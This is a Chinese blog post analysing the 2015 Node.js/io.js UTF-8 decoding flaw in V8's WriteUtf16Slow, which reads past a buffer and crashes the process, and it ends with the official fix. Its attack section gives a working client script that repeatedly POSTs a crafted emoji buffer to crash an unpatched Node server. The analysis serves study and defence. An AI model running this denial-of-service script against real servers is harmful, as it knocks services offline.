聊聊Node.js 獨立日漏洞

背景

Node.js 社區近期在美國獨立日周末的狂歡之時爆出漏洞
https://medium.com/@iojs/important-security-upgrades-for-node-js-and-io-js-8ac14ece5852

先給出一段會觸發該漏洞的代碼

http://img3.tbcdn.cn/L1/461/1/d5401fbf1e68213766c920c6ee0377ae18710276
http://img3.tbcdn.cn/L1/461/1/d5401fbf1e68213766c920c6ee0377ae18710276

直接在v0.12.4版本的node上運行,立即crash。

http://gtms03.alicdn.com/tps/i3/TB1EwJ8IFXXXXXSaXXXbL4aIXXX-780-130.png
http://gtms03.alicdn.com/tps/i3/TB1EwJ8IFXXXXXSaXXXbL4aIXXX-780-130.png

下面我們詳細的分析下該漏洞的原理。

調用棧

上面的代碼構造了一個長度為1025的buffer,然后調用該buffer的toString方法解碼成utf8字符,平時開發中再平常不過的調用了。但是為什么在這里會導致crash呢,和平時的寫法到底有什么差別?

示例代碼雖少,但是里面涉及到的各種調用可不少,從js到node中的c++,再到更底層的v8調用。大致過程如下圖所示。


調用棧
調用棧

關鍵調用

導致該漏洞產生的有幾個比較關鍵的調用過程。

Utf8DecoderBase::Reset

每一個Utf8DecoderBase類實例化的對象都有一個私有的屬性buffer_,

private:

  uint16_t buffer_[kBufferSize];

其中utfDecoder的kBufferSize設置為512,buffer_用做存儲解碼后的utf8字符緩沖區。這里需要注意的是512不是字節數,而是字符數,有些utf8字符只需要一個這樣的字符就能表示,有些則需要2個。示例代碼中構造buffer用的微笑字符則需要2個這樣的字符來表示,4個字節來存儲。所以buffer_能存儲的字節數是512*2=1024。

如果待解碼的buffer長度不超過1024時,在buffer_中就能完全被解碼完。解碼到buffer_的字符通過調用v8::internal::OS::MemCopy(data, buffer_, memcpy_length*sizeof(uint16_t))被拷貝到返回給node使用的字符串內存區。

Utf8DecoderBase::WriteUtf16Slow

但是當待解碼的buffer長度超過1024個字節時,前1024個字節解碼后還是通過上面講的buffer_緩沖區存儲,剩余待解碼的字符則交給Utf8DecoderBase::WriteUtf16Slow處理。

void Utf8DecoderBase::WriteUtf16Slow(const uint8_t* stream,
                                     uint16_t* data,
                                     unsigned data_length) {
  while (data_length != 0) {
    unsigned cursor = 0;
    uint32_t character = Utf8::ValueOf(stream, Utf8::kMaxEncodedSize, &cursor);
    // There's a total lack of bounds checking for stream
    // as it was already done in Reset.
    stream += cursor;
    if (character > unibrow::Utf16::kMaxNonSurrogateCharCode) {
      *data++ = Utf16::LeadSurrogate(character);
      *data++ = Utf16::TrailSurrogate(character);
      DCHECK(data_length > 1);
      data_length -= 2;
    } else {
      *data++ = character;
      data_length -= 1;
    }
  }
}

WriteUtf16Slow對剩余的待解碼buffer調用 Utf8::ValueOf進行解碼, 調用Utf8::ValueOf時每次輸出一個utf8字符。其中data_length表示還需要解碼的字符數(注意不是utf8字符個數,而是uint16_t的個數),直至剩余的data_length個字符全部被解碼。

Utf8::ValueOf

上面講到調用Utf8::ValueOf從剩余buffer中解碼出一個utf8字符,當這個utf8字符需要多個字節存儲時,便會調用到Utf8::CalculateValue, Utf8::CalculateValue根據utf8字符的編碼規則從buffer中解析出一個utf8字符。關于utf8編碼的詳細規則可以參考阮一峰老師博客的文章《字符編碼筆記:ASCII,Unicode和UTF-8》,里面非常詳細的講解了utf8的編碼規則。

utf8編碼規則
utf8編碼規則
uchar Utf8::CalculateValue(const byte* str,
                           unsigned length,
                           unsigned* cursor)

其中第一個參數表示待解碼的buffer,第二個參數表示還可以讀取的字節數,最后一個參數cursor表示解析結束后buffer的偏移量,也就是該utf8字符所占字節數。

實例分析

簡單的講解了實例代碼執行時的調用鏈路后,我們再結合示例代碼進行具體的調用分析。

buffer創建

首先示例代碼使用一個占用4字節的微笑字符,構造出一個長度為257*4=1028的buffer,接著又調用slice(0,-3)去除最后面的3個字節,如下圖所示。

http://gtms02.alicdn.com/tps/i2/TB1C4avIFXXXXaQXXXXyLTLWVXX-1280-820.png
http://gtms02.alicdn.com/tps/i2/TB1C4avIFXXXXaQXXXXyLTLWVXX-1280-820.png

buffer解碼

然后調用buffer.toString()方法,將buffer解碼為utf的字符串。由于待解碼的字符長度為1025,所以前1024個字節會在Utf8DecoderBase::Reset中解碼出512個字符(216個表情)到buffer_中,剩余的一個buffer 0xf0被傳入到Utf8DecoderBase::WriteUtf16Slow中繼續解碼。

void Utf8DecoderBase::WriteUtf16Slow(const uint8_t* stream,
                                     uint16_t* data,
                                     unsigned data_length);

stream為待解碼的buffer,data存儲解碼后的字符,data_length表示待解碼的字符數。此時buffer_緩沖區中的512個字符已被copy到data中。


http://gtms01.alicdn.com/tps/i1/TB1GgqiIFXXXXXAXFXXH3beFXXX-1024-768.jpg
http://gtms01.alicdn.com/tps/i1/TB1GgqiIFXXXXXAXFXXH3beFXXX-1024-768.jpg

last buffer

剩余的最后一個buffer 0xf0交給Utf8DecoderBase::WriteUtf16Slow處理,通過調用Utf8::ValueOf進行解碼。

最后一個字節的二進制為(0xf0).toString(2)='11110000',根據utf8編碼規則,是一個占用4字節的utf8字符的起始字節,于是繼續調用Utf8::CalculateValue讀取后面的字符。

由于之前完整的buffer被截掉了3個字節,所以理想情況下再次讀取下一個字節時讀到0x00, 二進制為(0x00).toString(2)='00000000'。很明顯,不符合utf8規則預期的字節10xxxxxx,函數返回kBadChar(0xFFFD)。至此整個解碼結束,程序無crash。

終于crash

上面說到了理想情況,但實際中由于V8引擎的內存管理策略,讀完最后一個buffer再繼續讀取下一個字節時很可能會讀到臟數據(根據我打印的log發現讀取到臟數據的概率非常高,log詳情), 如果繼續讀取到臟數據剛好和最后一個字節組合一起滿足utf8編碼規則(這個概率也很高),此時便讀取到了一個合法的utf8字符(two characters),而理想情況應該讀取到的是kBadChar(one character),那這又會產生什么問題呢?

我們再回到Utf8DecoderBase::WriteUtf16Slow的調用上

void Utf8DecoderBase::WriteUtf16Slow(const uint8_t* stream,
                                     uint16_t* data,
                                     unsigned data_length) {
  while (data_length != 0) {
    unsigned cursor = 0;
    uint32_t character = Utf8::ValueOf(stream, Utf8::kMaxEncodedSize, &cursor);
    // There's a total lack of bounds checking for stream
    // as it was already done in Reset.
    stream += cursor;
    if (character > unibrow::Utf16::kMaxNonSurrogateCharCode) {
      *data++ = Utf16::LeadSurrogate(character);
      *data++ = Utf16::TrailSurrogate(character);
      DCHECK(data_length > 1);
      data_length -= 2;
    } else {
      *data++ = character;
      data_length -= 1;
    }
  }
}

此時data_length=1, 調用uint32_t character = Utf8::ValueOf(stream, Utf8::kMaxEncodedSize, &cursor),讀取到滿足編碼規則的臟數據后if條件滿足,于是執行DCHECK(data_length > 1),而此時data_length=1,斷言失敗,進程退出( 但在我的mac系統上并沒有因為斷言失敗退出,此時繼續執行data_length-=2, data_length=-1,while循環無法退出,產生bus error進程crash)。

define DCHECK(condition) do {                                       \
    if (!(condition)) {                                             \
      V8_Fatal(__FILE__, __LINE__, "CHECK(%s) failed", #condition); \
    }                                                               \
  } while (0)

設計攻擊方案

了解漏洞原理后,設計一個攻擊方案就簡單很多了,只要有涉及到buffer操作的地方都可以產生攻擊,web開發中常見的就是服務器攻擊了,下面我們利用這個漏洞設計一個服務器的攻擊方案,導致被攻擊服務器進程crash,無法正常提高服務。

web開發中經常會有post請求,而node服務器接收post請求時發生到服務器的數據,必然會使用到buffer,所以主要方案就是向node服務器不斷的post惡意構造的buffer。

server

使用原生http模塊啟動一個可以接收post數據的服務器

var http = require('http');

http.createServer(function(req, res){
    if(req.method == 'POST') {
        var buf = [], len = 0;
        req.on('data', function(chunk){
            buf.push(chunk);
            len += chunk.length;
        });

        req.on('end', function(){
            var str = Buffer.concat(buf,len).toString();
            res.end(str);   
        });
    }else {
        res.end('node');
    }
}).listen(3000);

client

由于讀取臟內存的數據并且需要滿足utf8編碼規則存在一定的概率,所以客戶端得不斷的向服務器post,為了加快服務器crash,我們發送稍微大點的buffer

var net = require('net');
var CRLF = '\r\n';

function  send () {
    var connect = net.connect({
            'host':'127.0.0.1',
            'port':3000
        });
    sendRequest(connect,'/post');
}

send();

setInterval(function(){
    send()
},100);


function sendRequest(connect, path) {   
    var smile = Buffer(4);
    smile[0] = 0xf0;
    smile[1] = 0x9f;
    smile[2] = 0x98;
    smile[3] = 0x8a;
    smile = smile.toString();
    var buf = Buffer(Array(16385).join(smile)).slice(0,-3);
    connect.write('POST '+path+' HTTP/1.1');
    connect.write(CRLF);
    connect.write('Host: 127.0.0.1');
    connect.write(CRLF);
    connect.write('Connection: keep-alive');
    connect.write(CRLF);
    connect.write('Content-Length:'+buf.length);
    connect.write(CRLF);
    connect.write('Content-Type: application/json;charset=utf-8');
    
    connect.write(CRLF);
    connect.write(CRLF);
    connect.write(buf);
}

啟動服務器后,執行client腳本發現服務器很快就crash了。

漏洞修復

了解漏洞原理后修復其實非常簡單,主要原因就是調用Utf8::ValueOf解析字符時會讀取到符合編碼規則的臟數據,而這個是因為傳入的第二個參數是常量4,即使最后只剩一個字節時還繼續讀取。node官方的做法是調用此方法時傳入剩余待解碼的字節數,這樣解析到最后一個字節時就不會繼續讀取到臟數據,自然也就不會造成斷言失敗或者死循環導致進程crash了。

參考資料

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容